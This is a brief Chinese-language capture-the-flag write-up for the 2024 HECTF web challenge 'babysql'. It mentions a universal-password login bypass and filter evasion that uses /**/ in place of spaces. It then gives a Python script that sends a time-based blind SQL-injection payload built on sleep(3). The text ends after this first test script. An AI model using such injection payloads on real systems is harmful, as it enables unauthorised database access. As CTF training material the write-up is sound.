2024HECTFweb
babysql
直接万能密码过
进入查询后台
测试发现是盲注,可以使用布尔盲注,这里采用时间盲注
接下来就是脚本
首先跑一个fuzz字典看有哪儿些东西被过滤了
可以看到有些重要的东西也被过滤了,像空格,information_schema
测试
from requests import post
base_url = 'xxx/worker.php'
payload = "1'/**/or/**/if((select/**/database())like/**/database(),sleep(3),0)#"
data = {"name":payload}
def check_time(data):
try:
res=post(base_url, data=data,timeout=2)
#如果没有超时说明失败了
return "failure"
except:
return "success"
print(check_time(data))